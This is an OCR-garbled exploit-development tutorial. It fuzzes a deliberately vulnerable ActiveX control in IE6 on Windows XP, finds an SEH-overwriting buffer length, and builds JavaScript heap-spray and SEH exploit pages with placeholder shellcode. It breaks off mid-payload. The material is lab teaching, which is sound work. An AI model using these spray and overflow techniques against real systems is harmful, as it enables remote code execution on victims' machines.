(" Select previously generated fuzz file to test

&
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Since COMRaiders main focus is on scriptable components which can be loaded in Internet Explorer, the fuzzing

implementation is based off of dynamically created Windows Script Files (*.wsf). This design has some drawbacks, in
that target objects will have to support the IDispatch or IDispatchEx interfaces in order to be scriptable, and that

scripting clients can only access the default interface of a COM obiject.

IS VOLACTIVEX.DLL VULNERABLE?

We will use Windows XP SP3 with Inter Explorer 6 for fuzzing our vulActiveX control. Before going forward, let’s

copy vulActiveX.dll and ATLActivexControl.htm to Windows XP SP3 virtual machine.

Open Command Prompt and register our vulActiveX.d1ll

regsvr32 vulActiveX.dll

€|
N o Microsoft Windows XP [Uersion 5.1.260081]
saltyies (C> Copyright 1985-2081 Microsoft Corp.

IC:\Documents and Settings\HackSys>cd Desktop
“MC:\Documents and Settings\HackSys\Desktop>

RegSvr32

o
\12 DlRegisterServer in vulactiveX.dll succeeded.
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vulActiveX.dll has been

=2 ATLActivexControl BufferOverflow - Microsoft Internet Explorer

File Edit View Favorites Tools Help

| ﬂ E‘] l - search

Iress -}Q C:\Documents and SettingsiHackSys\Desktop\ATLActivexControl.htm

¢ Favorites {4

'.) To help protect your security, Internet Explorer has restricted this file from showing ac

your computer. Click here for options...

vulActiveX BufferOverflow

HackSys Team - Panthera

Website: http://hacksvs.vireaks.com/

Email: hacksysteam@hotmail com

Click on the button to invoke BufferOverflow method.

[ Invoke BufferOverflow ]

Right click on the yellow bar and select “Allow Blocked Content...”

registered successfully. Now, let's test the HTML file and try to find if our

vulactiveX.dll is working as expected. When we open the HTML file, we will get a warning.

: 3
- ‘e

v aGO Links >

Allow Blocked Content... l
What's the Risk?

Information Bar Help

¢ My Computer

ﬂ g] ; / Search

idress @ C:\Documents and Settings\HackSys\DesktoplATLActivexControl.htm

Favorites  {6<)

4 -

vulActiveX BufferOverflow

HackSys Team - Panthera REEEESSSIEC x)

HackSys Team - Panthera

Website: http:/hacksys.vfreaks.com’

Email: hacksysteam(@hotmail. com

Click on the button to invoke BufferOverflow method.

I[ Invoke BufferOverflow ]

%] Done

Now, click on Invoke BufferOverflow button.
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HackSys

Wow vulActiveX control is working as expected. In the next phase, we will use COMRaider to fuzz our ActiveX control.

FU17ING VULACTIVEX

In this phase, we will try to find if we are able to control EIP register or Structured Exception Handler. We will identify

the number of bytes it takes to cause an EXCEPTION.

Let’s fire up COMRaider and start fuzzing.

Step 1 - Select the COM Server you wish to test.
| Choose ActiveX dil or ac fle diectly | 2
" Scan a directory for registered COM servers
" Manually Enter the GUID
(" Search by ProglD
" View controls with KillBit set
" Choose from controls that should be loadable in |E

(" Select previously generated fuzz file to test
P

Look in: I (& Desktop

Ie;

My Recent
Documents

Desktop
L/

My Documents

My Network
Places

| ek

[ 3my Documents

‘ j My Computer

“ﬂMy Network Places
gseyond Compare 3

@ _]CornrnumCrypt Mail 1.x
_; Immunity Debugger
Dxtra

5 API Monitor
@ATLActwexControl htm
&Audﬂo Converter

a COMRaider

r_-ﬂ EclipsePyDev

@ Foxit Reader Pro

L

_,f;ilDA Pro

B) Mozilla Firefox
&onydbg

File name: IvuIAcliveX dil Ll 5

Flesoftype:  [AlFies (") =l e
™ Open as read-only

i

In COMRaider, click on Start. Next, click on “Choose ActiveX dll or ocx file directly” and then click on Next button.

Lastly, locate the vulActiveX.dll and click on Open.

vulActiveX.dll will be loaded for fuzzing. We will fuzz the entire available member to determine the vulnerable

member. COMRaider dynamically creates collection of Windows Script File (*.wsf) to test whether EXCEPTION occurs

after sending malformed inputs.
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IDEFENSE

»° COMRaider

COM Server |C: \Documents and Settings\HackSys\Desktop'vuldctiveX dil

WP, vulsctiveXLib
- &) ATLActivexControl
= =0 AT LActivexControl

_?l v Show only fuzzable

Function BufferOverflow (
ByUal sBuffer As String
) As Long

| Fuzz member

Fuzz Library

Expand All
Collapse All

CACOMRaider\wvuldctiveXLib\aT LactivexControl\BufferOverflow\367040316.wsf A
CACOMRaider\wvuldctiveXLib\aT LactivexControl\BufferO verflow\1226533492. wsf
C:ACOMRaider\wvuldctiveXLib\AT LactivexControl\BufferD verflow\253396348. wsf
CACOMRaider\wvuldctiveXLib\aT LactivexControl\BufferO verflow\986508642. wsf
CACOMRaider\wvuldctiveXLib\aT LactivexControl\BufferOverflow\178446764. wsf
CACOMRaider\wvuldctiveXLib\aT LActivexControl\BufferD verflow\1548519293. wsf
CACOMRaider\vulbctiveXLib\AT LactivexControl\BufferOverflow\ 1815645329, wsf

17 fuzz files created for 1 functions

Right click on BufferOverflow member and select “Fuzz member”. A list of *.wsf files will be created for fuzzing. Now,

click on “Next >>” button.

le Result Exceptions | Windows | ApiHits
ACOMR aider\vulb.cliveXLIb\AT LActivexContiohBulferOverflow\367040316wst I [ [ [ |
\COMR aider\vuldctiveXLib\AT LActivexContro\BufferQverflow\1226593432.wsf
COMRaider\vuldctiveXLib\AT LActivexControl\BufferQ verflow’\ 253336348, wsf
\COMR aider\vuldctiveXLib\AT LActivexControl\BufferO verflow\386508642.wsf
\COMRaider\vuléctiveXLib\AT LActivexContro\BufferQverflow\178446764. wsf
\COMR aider\vuldctiveXLib\AT LActivexControh\BufferQverflow\1548519233 wsf
\COMR aider\vulé.ctiveXLib\AT LActivexControl\BufferO verflow’\ 1815645329 wsf
\COMR aider\vuldctiveXLib\AT LActivexContro\BufferQverflow\ 248095606, wsf
\COMR aider\vuldctiveXLib\AT LActivexControl\BufferQ verflow’\ 113836637 wsf
\COMR aider\vuléctiveXLib\AT LActivexControl\BufferO verflow’\2046533260.wsf
\COMR aider\vuldctiveXLib\AT LActivexContro\BufferQ verflow\1778862489 wsf
COMRaider\vuldctiveXLib\AT LActivexControl\BufferQverflow\1784688178. wsf
\COMR aider\vuldctiveXLib\AT LActivexControl\BufferQ verflow\2043303201.wsf
\COMRaider\vuléctiveXLib\AT LActivexControl\BufferQverflow\2133729433 wsf
\COMR asider\vuld.ctiveXLib\AT LActivexControh\BufferQverflow\1388692431.wsf
\COMR aider\vuldctiveXLib\AT LActivexControl\BufferO verflow’\1226345363 wsf

ddress ] Exception I Module ] Instruction
ass | Caption
siLog
ebug Strings
[V Kill hung Processes ¥ Close Popups I Pause

[v Delete duds [V Save only exceptions
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Let’s hope we get to see EXCEPTIONS to occur after fuzzing is over.

e IResuIt I xceptions | Windows pitits

E A
\COMR aider\vuldctiveXLib\AT LActivexControl\BufferO verflow'\178446764.wsf Caused Excepti.. 1 0 0
\COMR aider\vuldctiveXLib\AT LActivexControl\BufferQ verflow\1548519293 wsf Caused Excepti.. 1 0 0
\COMR aider\vuld.ctiveXLib\AT LActivexControl\BufferO verflow\1815645329 wsf Caused Excepti.. 1 0 0
\COMR aider\vuléctiveXLib\AT LA ctivexControl\BufferO verflow\248035606. wsf Caused Excepti.. 1 0 0
COMR aider\vuldctiveXLib\AT LActivexControl\BufferO verflow'\ 113836697 wsf Caused Excepti.. 1 0 0
\COMR aider\vulbctiveXLib\AT LActivexControl\BufferD verflow\ 2046533260, wsf Caused Excepti.. 1 0 0
\COMRaider\vuldctiveXLib\AT LActivexControl\BufferQ verflow\17 78862483 wsf Caused Excepti.. 1 0 0
\COMRaider\wuldctiveXLib\AT LActivexControl\BufferQ verflow\1784688178 wsf Caused Excepti... 1 0 0
\COMR aider\vulactiveXLib\AT LActivexControl\BufferO verflow\2043303201.wsf Caused Excepti.. 1 0 0
\COMR aider\vuld.ctiveXLib\AT | &ctivevCs B Dyerflow’ 2139723433 wisf Caused Except 1 0 0
( \?) Fuzzing Complete.
7 Windows
10 Exceptions
0 ApiTriggers
idress Exception I s I
ass | Caption
atic hitp://test\test\test\te?s\test\test\tes\ttest\testite@stites\test\testites. \ttest\test\test\tes\test\test\te s\ttest\test\test\tes\testitest\tes\ A #EZtest\testtest e 7s\testitest\tes\\: % \ttest\test\te@st\tes\test\test\tes. \ttestitest\test\tes\tes
pi Log
“ Installing Hooks =

821a7c  CreateFileA(C:\WINDOWS \system32\rsaenh.dl)
821a7c  CreateFileA(C:\WINDOWS\system32\rsaenh.dl)

ebug Stiings

¥ Kil hung Processes ¥ Close Popups ™ Pause
[V Delete duds [V Save only exceptions

Wow, from the above screenshot, it indicates that COMRaider detected 10 exceptions. Next, click on OK button.

Let’s view the EXCEPTION details.

File

| Result

| Exceptions

C:ACOMR aider\wvulbctiveXLib\AT LactivexControl\BufferO verflow'\1 734042254 wsf
C:ACOMR aider\vulbctiveXLib\AT LactivexControl\BufferO verflow\1387531479. wsf
CACOMR aider\vuldctiveXLib\AT LactivexControl\BufferO verflow\ 1908716626, wsf
CACOMR aider\wvuldctiveXLib\AT LactivexControl\BufferO verflow\466 733024, wsf

C:ACOMR aider\vuldctiveXLib\AT LactivexControl\BufferO verflow'\1 772280300, wsf

C:ACOMR aider\vuldctiveXLibVAT LactivexControl\BufferO verflow\1279838121 . wsf
C:ACOMR aider\vuldctiveXLib\AT LactivexControl\BufferO verflow\ 76654 7930, vsf
C:ACOMR aider\vuldctiveXLib\AT LactivexControl\BufferO verflow'\1 788071155 wsf

|
(
(
(
(
C:ACOMR aider\vuldctiveXLib\AT LactivexControl\BufferO verflow\1 75932861 5. wsf
(
(
(
{

Caused Excepti...
Caused Excepti...
Caused Excepti...
Caused Excepti...
Caused Excepti...
Caused Excepti...
Caused Excepti...
Caused Excepti...
Caused Excepti...

1

—t d —d —d o —d —h —h

Address E xception Module Instruction

801163 | ACCESS VIOL__| vulActiveX.dil |
01163 ACCESS VIOL__[ vulbctiveX di —ViewDetals |

Right click on any entry under “File” column. Next, right click on first entry under “Instruction” column and click on

“View Details”.
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A new window with EXCEPTION details will appear.

xception Code: ACCESS_VIOLATION

isasm: 401163 MOV [EDX+EAX].CL {(vulActiveX.dll)
Seh Chain:
i 41414141|
Called From Returns To
vuldctiveX. 401163 41414141
Registers:

EIP 00401163 —> Asc: |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAL
EAX 0013D7BC —> Asc: |AAAAAAAAAAAAAAAAAAAMAAAAAAAAMRAAAAAAAAAAAAAAAAAAAAAA
EBX 00184944 —> Uni: |AAAAAAAAAAAAAAAAMAAAAAAAL

ECX 0013D841 —> Asc: |AAAAAAAAAAAAAAAAMAAARAAAAAAAAAAAAARAAMAAMAMAAAAAAAA
EDX 00002844
EDI 00002824
ESI 0013C4D0 —> Asc: [AAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAMAAAMAAAAAAAAALAAALA
EBP 0013EDE0 —> Asc: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALA
ESP 0013C4D0 —> Asc: |AAAAAAAAAAAAAAAAAAAAAAAAAAAMAAMAAAAAAAAAAMAAAAAAAA

Block Di=sassemhly:

Yeah, we were able to overwrite and corrupt the Structured Exception Handler Chain but we were unable to

overwrite EIP register. An important thing to find is the amount of junk data that will overwrite Structured Exception

Handler.

Let’s go for it.

File | Result | Exceptions | Windows | ApiHits
ZACOMR aider\wuldctiveXLib\AT LActivexControl\BufferOverflow\1734042254. wsf Caused Excepti... 1 0 0
CACOMR aider\vuldctiveXLibAAT LactivexControl\B ufferO verflow' 1387531473, wsf Caused Excepti... 1 0 0
~ACOMR aider\wvuldctiveXLib\aT LActivexControl\BufferO verflow\1908716626. wsf Caused Excepti... 1 0 0
CACOMR aider\wuldctiveXLib\AT LActivexControl\BufferQ verflow\466789024. wsf Caused Excepti... 1 0 0
CACOMR aider\wuldctiveXLib\AT LActivexControl\BufferOverflow\1772280900. wsf Caused Excepti... 1 0 0
CACOMR aider\vuldctiveXLibhAaT LactivexControl\BufferQ verflow\1759328615. wsf Caused Excepti... 1 0 0
ZACOMR aider\wuldctiveXLibhAT LActivexControl\BufferOverflow\1279838121 . wsf Caused Excepti... 1 0 0
CACOMR aider\vuldctiveXLib\AT LactivexControl\BufferO verflow\ 766547930, wsf Caused Excepti... 1 0 0
_ACOMR aider\wuldctiveXLib\a T LActivexControl\BufferOverflow\1788071155. wsf Caused Excepti... 1 0 0
ACOMR aider\wvuldctiveXLib\AT LA ctivexControl\BufferD verflow\675263152. wsf Caused Excepti... | 1 IW—“
i
Save To

Copy File Name

Test Exploit in IE

Launch Normal
Launch in Olly

Address I Exception

I Module I Instruction

19 LA 2 TS ALY

Right click on any of the entry under “File” column and select “View File” from the context menu.
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I’ 675263152.wsf - Notepad @@@

File Edit Format VYiew Help

k7>l version='1.0' standalone='yes' 7>

<package><job id='DoneInvBs' debug='false' error="true'>

<object classid='c1si1d:C44CBF61-7844-4C4B-BC77-7643FD70848€E" 1id="target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
'wscript.echo typename(target)

‘for debugging/custom prolog

targetFile = "C:\Documents and Settings\HackSys\Desktop\wvulactivex.dl1"
prototype = "Function Bufferoverflow ( Byval sBuffer As String ) aAs Long"
membernName = "Bufferoverflow"

progid = "wulactivexLib.ATLACtivexControl"

argcount =1

Brogl=string(14356, "A")|

karget.Bufferoverflow argl

</script></job></package>

From the 675263152.wsf file, we came to know that, if we will pass 14356 bytes of junk data to BufferOverflow

method, then it will overwrite the Structured Exception Handler.

Our plan is to spray the Heap of Internet Explorer’s Process Memory with No Operation Sleds and shellcode, this will

slide the CPU to our shellcode and execute it.

Finally, in this phase, we have determined that vulActiveX.d1l is really vulnerable.
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HEAP

Heap is a common name for dynamically allocated memory. Memory allocation requests are fulfilled by locating and

allocating a block of unused memory from a large pool of memory known as the Heap.

HEAP SPRAYING

The Heap Spraying technique was discovered by Skylined.

Heap Spraying is an attack technique commonly used in hijacking victim’s browsers to download and execute
malicious code. In Heap Spraying, a large portion of the victim process’s heap is filled with malicious code. As the
location of the injected code is not exactly predictable, heap-spraying attacks need to inject a huge amount of

malicious code to increase the chance of success of exploitation.

Injected payload usually includes lots of No Operation (NOP) instructions (e.g. @x90), which redirect the execution to

shellcode.

A heap spray does not actually exploit any security issues but it can be used to make a security issue easier to exploit.

A heap spray by itself cannot be used to break any security boundaries.

HEAP SPRAYING USING JAVASCRIPT

Heap Spraying for web browsers is commonly implemented in JavaScript and the heap is sprayed by creating large
strings. The most common technique used is to start with a string of one character and concatenating it with itself
over and over. This way, the length of the string can grow exponentially up to the maximum length allowed by the

scripting engine.

Depending on how the browser implements strings, either ASCII or Unicode characters can be used in the string. The
heap spraying code makes copies of the long string with shellcode and stores these in an array, up to the point where

enough memory has been sprayed to ensure the exploit works.
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<html>
<head>
<title>Heap Spraying In Action JavaScript</title>
<object classid='CLSID: C44CBF61-7844-4C4B-BC77-7643FD70848E' id='_vulActiveX'>

</object>

<script type="text/javascript" language="javascript">
//==========================================//
// Heap Spraying Using JavaScript //
// HackSys Team - Panthera //
// http://hacksys.vfreaks.com/ //
// hacksysteam@hotmail. com //
// //
// unescape() function requirement //
// //
// HA CK SY S! //
// AH KC YS IS //
// A°H K C Y S I s //
// 41 48 4b 43 59 53 21 53 //
//==========================================//

//shellcode = "HACKSYS!"
shellcode = unescape('%u4148%u4b43%u5953%u2153"');

nops = unescape( '%u9090%u9090"');
headersize = 20;

//write the output to Internet Explorer's window
document.write("<H2>Heap Spraying In Action</H2></br>");

//create one block with nops

document.write("Creating one block of memory with <b>NOPS</b>.</br>");
slackspace = headersize + shellcode.length;

while (nops.length < slackspace) nops += nops;

fillblock = nops.substring(@, slackspace);

//enlarge block with nops, size 0x50000

document.write("Enlarging the memory with <b>NOPS</b> of size <b>@x5000</b>.</br>");
block = nops.substring(®, nops.length - slackspace);

while (block.length + slackspace < ©x50000) block = block + block + fillblock;

document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> times.</br>");

//spray 250 times : nops + shellcode

memory = new Array();

for (counter = @; counter < 250; counter++) {
memory[counter] = block + shellcode;

//show the status of spray on Status bar
window.status = "Spraying: " + Math.round(100 * counter / 250) + "% done";

}

document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>
bytes.<br>");
document.write("Heap Spraying completed successfully.<br>");

window.status = "Heap Spraying Done";
alert("Heap Spraying Done");
</script>
</head>
<body>
</body>
</html>
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Create a new HTML file named as HeapSpray_vulActiveX.html and copy the above HTML codes to it. | suggest you to

download the ZIP archive available for download. The archive contains all the Heap Spraying scripts.

UNDERSTANDING HEAP SPRAYING

In this phase, we will try to find out what exactly Java script are doing and how heap spraying in working in real time.

slackspace = headersize + shellcode.length;
while (nops.length < slackspace) nops += nops;
fillblock = nops.substring(®, slackspace);

The above Java script code creates one block of memory containing NOPS in the Process Heap.

memory = new Array();
for (counter = @; counter < 250; counter++) {
memory[counter] = block + shellcode;

}

The above piece of code sprays NOPs + Shellcode into Process Heap Memory.

§Mare NOPS + SHELLCODE

NOPS + SHELLCODE
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INSPECTING PROCESS MEMORY

In this phase, we will try to find out how heap spraying in working in real time.

We will try to visualise whether, we are able to affect Process Heap Memory. We will use VMMap (a process virtual

and physical memory analysis utility) to inspect the Heap Fragmentation.

Open Internet Explorer and VMMap.

«_a»...l._.qji‘ (= 1=

S — =
"II
Process: 3 = »
\ > i s v
Committed: . ] Address | &] about:blank v a Go | Links ?
— View a running process | Launch and trace a new process ]
Private Byt Name PID User S ic
Falg.exe 316
‘Working Sel esrss.exe 664 NT AUTHORITY\SYSTEM
¢ explorer.exe 1476 WINXPSP3\HackSys J
1 e
Type ™iqs.exe 228 NT AUTHORITY\SYSTEM Priv.
E jusched.exe 1784  WINXPSP3\HackSys
Fisass.exe 752 NT AUTHORITY\SYSTEM
Mpag_ctl.exe 168  NT AUTHORITY\SYSTEM
Mpostares.exe 244  NT AUTHORITY\SYSTEM
ijpostgves,exe 616 NT AUTHORITY\SYSTEM
ﬂpostgres‘exe 644 NT AUTHORITY\SYSTEM
Mpostares.exe 652 NT AUTHORITY\SYSTEM
\_"_"lpostgres‘exe 648 NT AUTHORITY\SYSTEM
ﬂpostgres,exe 668 NT AUTHORITY\SYSTEM
ﬂservices.exe 740 NT AUTHORITY\SYSTEM
: Smss.exe 432 NT AUTHORITY\SYSTEM 2
— Hrnhr\lru ave 1444  NT ALITHNADTITVIGVETEM b < fro—
Address < > Sk
2 l OK J [ Cancel ]

Timeline... 2
&1 Done ® Internet

Select IEXPLORE.EXE from the “Select or launch Process” window. Next, click on OK button.

Let’s check the normal status of Internet Explorer’s Heap Memory.

Please Note: As we have not sprayed the Process Heap of Internet Explorer, there we will be less fragmentation.
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File Edit

View Options Help

£ Process: iexplore.exe
g PID: 3240
Committed: 46,684 K
Private Bytes: 4,464 K
Working Set: 11,316 K
Type Size Committed Private Total WS fe
T otal 65.980 K 46,684 K 4.464 K 11.316K
Image 36,012K 36,012K 724K 8,308K
Mapped File 788K 788K 128K
Shareable 6,560 K 2,092K 532K
Heap 2560K 1572K 1560K 556 K
Managed Heap
Stack 5120K 96K 96K 76K
Private Data 10,264 K 1,448K 1.448K 1,080K
Page Table 636K 636K 636K B36K
Unusable 4,040K 4,040K
Free 2,031,744K v
< >
Type Size  Committed Private  TotalWS Private.. ¢
4K 4K 4K 4K 4K
+ 00020000 Private Data 4K 4K 4K 4K 4K
+ 00030000 Heap (Private Data) B4K 36K 36K 36K 36K
+ 00040000 Thread Stack 1,024K 64K 64K 60K 60K
+ 00140000 Shareable 12K 12K 12K
+ 00150000 Heap (Private Data) 1,024 K 404K 404K 404K 404K
+ 00250000 Heap (Private Data) 64K 24K 24K 20K 20K
+ 00260000 e o e P av av
¥ ANDZNNNAN 2

Let’s run the HeapSpray_vulActiveX.html and check the output. Once, Heap Spraying is done, press F5 on VMMap.

0 Process: iexplore.exe
PID: 3576
Committed: 305,820 K
Private Bytes: 262,748 K
‘Working Set: 204,036 K
Type Size Committed Private Total WS o
Total 324 812K 305820 K 262,748 K 204 036K
mage 36.420K 36,420K 760K 300K
Aapped File 820K 820K 60K
shareable 6.820K 2.352K 244K
{eap 2,560K 1,800K 1.788K 700K
Aanaged Heap
Stack 7.168K 108K 108K 64K
“rivate Data 265,248 K 258,444 K 258,444 K 201,020K
“age Table 1,648K 1,648K 1648K 1,648K
Jnusable 4228K 4228K
“ree 1.773824K 3
< >
Address Type Size  Committed Private  TotalWS Private..
+ 04000000 Private Data 1,024 K 1,024 K 1,024 K 1024K  1,024K
+ 04100000 Private Data 1,024 K 1,024 K 1,024 K 1024K  1,024K
+ 04200000 Private Data 1,024 K 1,024 K 1,024 K 1024K  1,024K
+ 04300000 Private Data 1,024K 1,024 K 1,024 K 1024K  1,024K
+ 04400000 Private Data 1,024 K 1,024 K 1,024 K 1024K  1,024K
=/ 04500000 Private Data 1,024 K 1,024 K 1,024 K 1,024K  1,024K
(4500000 | Priv: 1,024 K 1,024 K 1,024 K 1.024K  1024K .,
+ (4600000 % Yanav Ay Yanav Yana v AR Y
# N&7NNANN 2

Timeline. ..
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Address @_‘I uments and Settings\HackSys\Desktop\HeapSpray _vulactiveX.html v a Go

el o
L]
lr’

\ .
~ .
3 J L x | g ) Search

Favorites  {6<) -

=

Heap Spraying In Action

Creating one block of memory with NOPS.
Enlarging the memory with NOPS of size 0x5000.
Spraying NOPS + SHELLCODE 250 times.
Allocated 524268 bytes.

Heap Spraying completed successfully.

0x161DS000 b4

Close
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Here is the rough comparison of Process Memory before and after spraying.

Before Spray After Spray

Please have a look at the injected heap in the above image which is marked as sprayed. After running the Heap

Spraying script in Internet Explorer, large chunks of NOPS + Shellcode is injected to Process Heap Memory.

LOCATING SHELLCODE IN MEMORY

In this phase, we will try to find out where exactly our shellcode is placed in memory. In the Heap Spraying script, the

shellcode is a string.

//shellcode = "HACKSYS!"
shellcode = unescape('%u4148%u4b43%u5953%u2153"');

Open Internet Explorer and run the Heap Spraying script again, do not close the Internet Explorer’s window. Once the

script has completed successfully, please launch Immunity debugger.
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(= IR T = O]
i
A » =l H
X'J zJ p ) search Favorites 6“ = [=ES “UXP Il W s ? Gt
2 3_'5_] uments and Settings\HackSys\Desktop\HeapSpray_vulactiveX.html ¥ E} Go S Fhrpll Gl
Heap Spraying In Action
Creating one block of memory with NOPS
Enlarging the memory with NOPS of size 0x5000 676
Spraying NOPS + SHELLCODE 250 times [
Allocated 524268 bytes g :
Heap Spraying completed successfully. i 4 % ! 3
Cancel
Address | Hex dul £ A /
! E Heap Spraying Done
|
} My Computer Need support? visit http://forum.immunityinc.com/ Ready

In Immunity debugger, click on File and select “Attach”. Select the iexplore from the process list and click on “Attach”.

Once the process is attached to Immunity debugger, we will use Mona.py to find the shellcode in the Process

Memory.

BSDOFFF4
BFCOFFF4
B790FFF4
DOEOFFF4

330FFF4
BCDOFFF4

!mona find -s "HACKSYS!"

Paused

Imona find -s “HACKSYS!”
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Mona.py found 253 occurrence of string “HACKSYS!” in the memory. Let’s dump the address where the shellcode is

located.

ddress |Message

Dump in CPU
Clear window
Log to file

Copy to clipboard »
Appearance 4

Right click on the address and select “Dump at address”. We can see that shellcode is located after a block of NOPS.

EXPLOITING VULACTIVEX

In this phase we will proceed with exploiting the ActiveX control. We will try to find the offset to overwrite Next SEH

and SE Handler.

OrrFSETS To OVERWRITE

Let’s find out after how many bytes of junk data, we are able to overwrite Next SE and SE Handler.

Close all the instances of Internet Explorer before proceeding. Launch Immunity debugger, we will open iexplore.exe

and then generate a unique pattern of 14356 bytes.
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oy

YaadlisoysS

cPkbzr...s?-

Look in: IL;) Intemet Explorer —v_l - % B

‘Q Connection Wizard
i(_"jMUI
()SIGNUP

File name:  |IEXPLORE.EXE
Files of type: |Executable file (*.exe) LI Cancel |

Arguments: I .Ll

Need support? visit http://forum.immunityinc.com/ [ |Ready

Click on File --> Open.

Now, let’s generate a unique pattern of 14356 bytes to find the offset to overwrite Next SE Handler and SE Handler.

E!mona pc 14356

Imona pc 14356

Open pattern.txt and copy the content, it’s located in Mona logs folder. Create a new HTML file and place the pattern

of characters. In our case, it’s located at “C:\MonaLogs\iexplore\pattern.txt”.
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- = LA

¥
'I’

QBack N ? - Search Folders v

JJ:”-":I_]C:\MonaLogsUEXPLORE I v| & o

pattern.txt
Text Document
15KB

File and Folder Tasks A

3 E-mail this file output generated by mona.py vl.3-dev, rev 167
corelan Team - https://www.corelan. be

‘g Print this file
¥ Delete this file

: xp, release 5.1.260
Process being debugged :

»

Other Places

Pattern of 14356 bytes

Monalogs
- ) AalAalAaazaa3Aadaasaabaa7aaBaadaboablab2ab3zabd abSab6ab7Ab8AbOACOACIACZACIACIACSA
L My Documents i1B12813614B156816B178188198j08j16j268j36j48]58j6B] 78]88] 9Bk 0Bk 1Bk 2Bk 3Bk4Bk 5BK6BK”
) Shared Documents 2Cq3Cqd4Ch5Cq6Cq7Cql8CSCr0Cricr2Cr3Cracrscracr 7Cr8CroCs0Cs1Cs2Cs3Cs4Cs SCS6CS 7Cs 8
Dy4 Dy 5Dy6Dy7Dy8Dy9020021022023024D025026027028029€Ea0EalEa2Ea3Ea4EaSEa6Ea7EABEASE!
] omputer g5Fg6Fg7FgBFgOFhOFh1Fh2Fh3FhdFhSFhEFh7Fh8FhOFi10F11Fi2Fi3Fi4FiSFi6Fi7Fi8Fi9FjOF]:

6G07G0BGOOGPOGPLGP2GP3GRAGRSGREGP7GPEGPIGHOGHLGH2GH3GH4GHSGH6GH7GH8GOOGr 0GrlGr 2¢
HWBHWIOHXOHXLHX2HX3HxX4 Hx SHXEHX 7HXBHX OHYOHYLHY 2 Hy 3Hy4 Hy SHY6HY 7Hy8HYOHZ20HZ1HZ2HZ3H
e93f03f13f23f31f43f53f63f73f81f91901g1l1g23g31g941953963g731g81g93h03h1ih23h33h43h
OKN1KN2KN3KN4 Kn5KN6KN7KN8KNSK0O0K0O1K02K03K04 K0 5K06K07KOBKO9KPOKPLKp2Kp3KpdKpSKpé
LV2LVILVALYSLVELVZLVBLYOLWOLWLLWZ LW3Lwa LwSLwoLW7LWBLWILXOLXLILX2LX3LX4LX5LX6LX7L:
d3Nd4NdSNAEND7NDBNDSNeONelNe2Ne3 Ned Ne SNe6Ne7Ne8NeSNTONFLNF 2 NF 3NF4 NF SNFeNT 7NfF 8N
40150160170180130mOOM1LOM20m30m40m50m6om70om3ome0n0oN1oN20n30n40n50N60N70N80N3000¢
PTOPT7PTEPTOPUOPULPUZPU3ZPU4PUSPUGPU7PUBPUSPYOPVIPV2PYIPV4PY 5PVEPY7PYEPYOPWOPWLP
b7Rb8RHBRCORCIRC2ZRCIRCARCSRCERC7ZRCBRCORAORALIRAZRAZRA4RASRAGRAZRABRASREORELRE2RE
85j9sk0sk1sk2sk3skas

y Network Places

Details

pattern.txt
Text Document

Date Modified: Today, July 12,
2012, 5:46 PM

Size: 14.5KB

<html>
<head>
<title>vulActiveX.dll Heap Spray SEH Exploit</title>
<object classid='clsid:C44CBF61-7844-4CAB-BC77-7643FD70848E"' id='_vulActiveX'>

</object>

<script type="text/javascript" language="javascript">
//=============================================//
// vulActiveX Heap Spraying SEH //
// //
// HackSys Team - Panthera //
// http://hacksys.vfreaks.com/ //
// hacksysteam@hotmail.com //
// //
// Author: Ashfaq Ansari //
// ashfaq_ansaril989@hotmail.com //
// //
//=============================================//

//shellcode = "HACKSYS!"
shellcode = unescape('%u4148%u4b43%u5953%u2153"');

nops = unescape( '%u9090%u90990"');
headersize = 20;

//write the output to Internet Explorer's window
document.write("<H2>vulActiveX.d1ll Heap Spray Attack</H2></br>");

//create one block with nops
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document.write("Creating one block of memory with <b>NOPS</b>.</br>");
slackspace = headersize + shellcode.length;

while (nops.length < slackspace) nops += nops;

fillblock = nops.substring(@, slackspace);

//enlarge block with nops, size 0x50000

document.write("Enlarging the memory with <b>NOPS</b> of size <b>@x5000</b>.</br>");
block = nops.substring(®, nops.length - slackspace);

while (block.length + slackspace < ©x50000) block = block + block + fillblock;

document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> times.</br>");

//spray 250 times : nops + shellcode

memory = new Array();

for (counter = @; counter < 250; counter++) {
memory[counter] = block + shellcode;

//show the status of spray on Status bar
window.status = "Spraying: " + Math.round(100 * counter / 250) + "% done";

}

document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>
bytes.<br>");

document.write("Heap Spraying completed successfully.<br>");

window.status = "Launching Exploit";

alert("Heap Spraying Done\n\n Launching Exploit");

//place 14356 pattern of character
payload =
"AaBAalAa2Aa3Aad4AaSAabAa7Aa8Aa9AboAb1Ab2Ab3Ab4Ab5Ab6Ab7AbBADOACOACIAC2AC3AC4AC5AC6AC7ACBACIAdOAdIAd2A
d3Ad4Ad5Ad6Ad7Ad8Ad9AeOAe1Ae2Ae3Ae4Ae5Ae6Ae7AeB8AcIATOATIAF2AF3AFAAFSAT6AT7AF8ATOAgOAg1Ag2Ag3Ag4AE5AE6
Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8AhOA1I0AI1A12A13A14A15A16A17A18A19AjOA 1A 2Aj3Aj4Aj5A6A]7AF8A]9Ak
OAk1Ak2Ak3Ak4AKS5Ak6Ak7AKk8AKOALOALI1A12A13A14A15A16A17A18A19AMOAMIAM2AM3 Am4AM5Am6AM7 Am8AM9ANGAN1AN2AN3A
n4An5An6An7An8An9A00A01A02A03A04A05A06A07A08A09APOAP1Ap2Ap3Ap4APSAP6AP7Ap8APOAQqOAqL1Aq2Aq3Aq4Aq5Aq6Aq7
Aq8Aq9AroArl1Ar2Ar3Ar4Ar5Ar6Ar7Ar8AroAsOAs1As2As3As4AS5As6ASs7As8ASOALOATIAL2At3AT4AL5AL6AT7AE8ATIAUOAU
1Au2Au3Aud4Au5Au6AuU7AuU8AU9AVOAVIAV2AV3AVAAVSAVEAV7AVEAVOAWOAWIAW2 AW3AWAAWSAWE AW7AWS AWOAXOAXTIAX2AX3AX4AA
